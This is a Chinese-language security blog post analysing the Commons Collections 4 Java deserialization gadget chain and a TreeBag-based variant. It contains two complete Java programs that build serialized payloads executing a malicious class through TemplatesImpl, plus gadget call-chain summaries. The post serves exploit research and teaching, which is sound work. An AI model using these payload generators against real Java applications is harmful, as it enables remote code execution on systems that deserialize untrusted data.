Java反序列化漏洞(六)- CommonsCollections4链
CC4 是 CC2 的一个变种,用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl,排列组合了属于是。
ysoserial 的 CC4 没什么意思,补充一个对 PriorityQueue 的替代链 TreeBag。
0x01 前置知识
TreeBag & TreeMap
在 CC2 中,使用了优先级队列 PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性,配合 TransformingComparator 触发 transformer。
除了 PriorityQueue,还能否找到其他的提供排序的类,在反序列化时会调用到比较器呢?于是找到了 TreeBag。
对于 Bag 我很陌生,所以这里简单介绍一下。
Bag 接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数。它有一个子接口 SortedBag,定义了一种可以对其唯一不重复成员排序的 Bag 类型。
TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。
TreeBag 继承自 AbstractMapBag,实现了 SortedBag 接口。初始化 TreeBag 时,会创建一个新的 TreeMap 储存在成员变量 map 里,而排序使用的 Comparator 则直接储存在 TreeMap 中。
在对 TreeBag 反序列化时,会将反序列化出来的 Comparator 对象交给 TreeMap 实例化,并调用父类的 doReadObject 方法处理:
而 doReadObject
方法会向 TreeMap 中 put 数据。
类似优先级队列,对于这种有序的储存数据的集合,反序列化数据时一定会对其进行排序动作,而 TreeBag 则是依赖了 TreeMap 在 put 数据时会调用 compare 进行排序的特点来实现数据顺序的保存。
毫无疑问,compare 方法中调用了 comparator 进行比较,那我们就可以使用 TransformingComparator 触发后续的逻辑。
0x02 攻击构造
CC4 攻击链用的都是之前的知识点,只是不同的组合,不再分析,直接上代码:
public class cc4sanshi {
public static String fileName = "CC4.bin";
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
// 读取恶意类 bytes[]
InputStream inputStream = cc4sanshi.class.getResourceAsStream("EvilClassForCC4.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "su18");
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
});
TransformingComparator comparator = new TransformingComparator(chain);
// 在初始化时不带入 comparator
PriorityQueue<String> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
writeObjectToFile(queue, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
}
使用 TreeBag & TreeMap 构造的 payload:
public class CC4WithTreeBag {
public static String fileName = "CC4WithTreeBag.bin";
public static void main(String[] args) throws Exception {
// 读取恶意类 bytes[]
InputStream inputStream = CC4WithTreeBag.class.getResourceAsStream("EvilClassForCC4.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
// 初始化 TemplatesImpl 对象
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
// _name 不能为空
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "sanshi");
// 用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法
// 这个类是 public 的,方便调用
Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
// prepare CommonsCollections object entry point
TreeBag tree = new TreeBag(comparator);
tree.add(tmpl);
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");
writeObjectToFile(tree, fileName);
readFileObject(fileName);
}
public static void writeObjectToFile(Serializable obj, String fileName) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(fileName))) {
oos.writeObject(obj);
}
}
public static Object readFileObject(String fileName) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName))) {
return ois.readObject();
}
}
}
0x03 总结
以上就是 CC4 链分析的全部内容了,最后总结一下。
ysoserial CC4
1.利用说明:
- 使用 PriorityQueue 反序列化时触发的 TransformingComparator 的 compare 方法,就会触发 ChainedTransformer 的 tranform 方法链,其中利用 InstantiateTransformer 实例化 TrAXFilter 类,此类实例化时会调用 TemplatesImpl 的 newTransformer 实例化恶意类,执行恶意代码。
2.Gadget 总结:
- kick-off gadget:
java.util.PriorityQueue#readObject()
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
- chain gadget:
org.apache.commons.collections.functors.InstantiateTransformer#transform()
3.调用链展示:
PriorityQueue.readObject()
TransformingComparator.compare()
*ChainedTransformer.transform()
InvokerTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
TreeBag
1.利用说明:
- 用 TreeBag 代替 PriorityQueue 触发 TransformingComparator,后续依旧使用 Transformer 的调用链。
2.Gadget 总结:
- kick-off gadget:
org.apache.commons.collections4.bag.TreeBag#readObject
- sink gadget:
org.apache.commons.collections.functors.InvokerTransformer#transform()
- chain gadget:
java.util.TreeMap#put()
3.调用链展示:
org.apache.commons.collections4.bag.TreeBag.readObject()
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject()
java.util.TreeMap.put()
java.util.TreeMap.compare()
org.apache.commons.collections4.comparators.TransformingComparator.compare()
org.apache.commons.collections4.functors.InvokerTransformer.transform()
4.依赖版本:
commons-collections4 : 4.0
免责声明
免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!